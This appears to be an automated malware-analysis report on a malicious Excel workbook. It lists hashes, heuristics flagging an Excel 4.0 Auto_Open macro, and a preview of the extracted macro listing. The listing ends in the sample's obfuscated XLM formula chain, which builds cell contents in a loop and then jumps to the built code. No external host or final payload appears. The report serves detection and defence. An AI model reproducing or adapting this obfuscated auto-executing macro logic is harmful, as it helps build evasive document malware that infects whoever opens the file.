Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2d0ffbe2113bb7f2…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:43:42 Authoring application: Microsoft Excel First seen: 2021-01-11
MD5: c1f8e99df1379048e944da6c45359bf6 SHA-1: f2b4bf8011f9bfd188f1d382464dd5bd5d157d67 SHA-256: 2d0ffbe2113bb7f2c450ff8acaddbbef6f5a9a9dd0af53f72d6b6befcc393b0b
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6628 bytes
SHA-256: 84742c479b8efe81f7d92cbe656a94748b4c32673fc03258daa8f6ac6719bb28
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  HJCByHSa
' 0018     24 LABEL : Cell Value, String Constant - ApmUMptDH len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B171 
' 0018     26 LABEL : Cell Value, String Constant - BCMExcmchqL len=0 
' 0018     22 LABEL : Cell Value, String Constant - ccOqokR len=0 
' 0018     27 LABEL : Cell Value, String Constant - EDmwwrECZWAW len=0 
' 0018     27 LABEL : Cell Value, String Constant - efxlEzeakSyl len=0 
' 0018     20 LABEL : Cell Value, String Constant - FPzWF len=0 
' 0018     27 LABEL : Cell Value, String Constant - GcLXPFfgaRgI len=0 
' 0018     26 LABEL : Cell Value, String Constant - GwfgPTXgsKi len=0 
' 0018     20 LABEL : Cell Value, String Constant - hsRrV len=0 
' 0018     21 LABEL : Cell Value, String Constant - IGYUcU len=0 
' 0018     27 LABEL : Cell Value, String Constant - OLjRKvdykIaL len=0 
' 0018     24 LABEL : Cell Value, String Constant - PFIuUQYcZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - qlCLZjgQ len=0 
' 0018     26 LABEL : Cell Value, String Constant - qwaRoUYHCDf len=0 
' 0018     27 LABEL : Cell Value, String Constant - SawBBhfKwVEI len=0 
' 0018     25 LABEL : Cell Value, String Constant - tRlPxxQKIT len=0 
' 0018     21 LABEL : Cell Value, String Constant - ukwySb len=0 
' 0018     23 LABEL : Cell Value, String Constant - UTdOOpFC len=0 
' 0018     21 LABEL : Cell Value, String Constant - XeDjvk len=0 
' 0018     23 LABEL : Cell Value, String Constant - zvIlayaB len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  HJCByHSa,B78,"SET.NAME("PFIuUQYcZ",VALUE("0"))",""
'  HJCByHSa,B82,"SET.NAME("GcLXPFfgaRgI",PFIuUQYcZ)",""
'  HJCByHSa,B87,"SET.NAME("zvIlayaB",PFIuUQYcZ)",""
'  HJCByHSa,B92,"SET.NAME("GwfgPTXgsKi",COUNTA(qwaRoUYHCDf))",""
'  HJCByHSa,B96,"SET.NAME("ukwySb",COUNTA(efxlEzeakSyl))",""
'  HJCByHSa,B101,[],""
'  HJCByHSa,B106,"SET.NAME("IGYUcU","")",""
'  HJCByHSa,B108,"GcLXPFfgaRgI",""
'  HJCByHSa,B113,"SET.NAME("tRlPxxQKIT",HLOOKUP("*",qwaRoUYHCDf,GcLXPFfgaRgI,FALSE))",""
'  HJCByHSa,B116,"EDmwwrECZWAW",""
'  HJCByHSa,B118,"SET.NAME("ccOqokR",PFIuUQYcZ)",""
'  HJCByHSa,B123,[],""
'  HJCByHSa,B126,"ccOqokR",""
'  HJCByHSa,B129,"SawBBhfKwVEI",""
'  HJCByHSa,B133,"ApmUMptDH",""
'  HJCByHSa,B136,"qlCLZjgQ",""
'  HJCByHSa,B140,"SET.NAME("OLjRKvdykIaL",VALUE(HLOOKUP("*",efxlEzeakSyl,qlCLZjgQ,FALSE)))",""
'  HJCByHSa,B144,"BCMExcmchqL",""
'  HJCByHSa,B147,"IGYUcU",""
'  HJCByHSa,B149,"zvIlayaB",""
'  HJCByHSa,B154,NEXT(),""
'  HJCByHSa,B156,"FPzWF",""
'  HJCByHSa,B159,"SET.NAME("f",INT(T(FORMULA(T(IGYUcU)&"",""&T(FPzWF)))))",""
'  HJCByHSa,B162,"XeDjvk",""
'  HJCByHSa,B164,NEXT(),""
'  HJCByHSa,B168,RETURN(),""
'  HJCByHSa,B191,"SET.NAME("hsRrV",B78)",""
'  HJCByHSa,B194,"qwaRoUYHCDf",""
'  HJCByHSa,B198,"SET.NAME("efxlEzeakSyl",R80C12)",""
'  HJCByHSa,B202,"SET.NAME("XeDjvk",211)",""
'  HJCByHSa,B205,"SET.NAME("UTdOOpFC",2)",""
'  HJCByHSa,B210,hsRrV(),""
'  HJCByHSa,B211,HALT(),""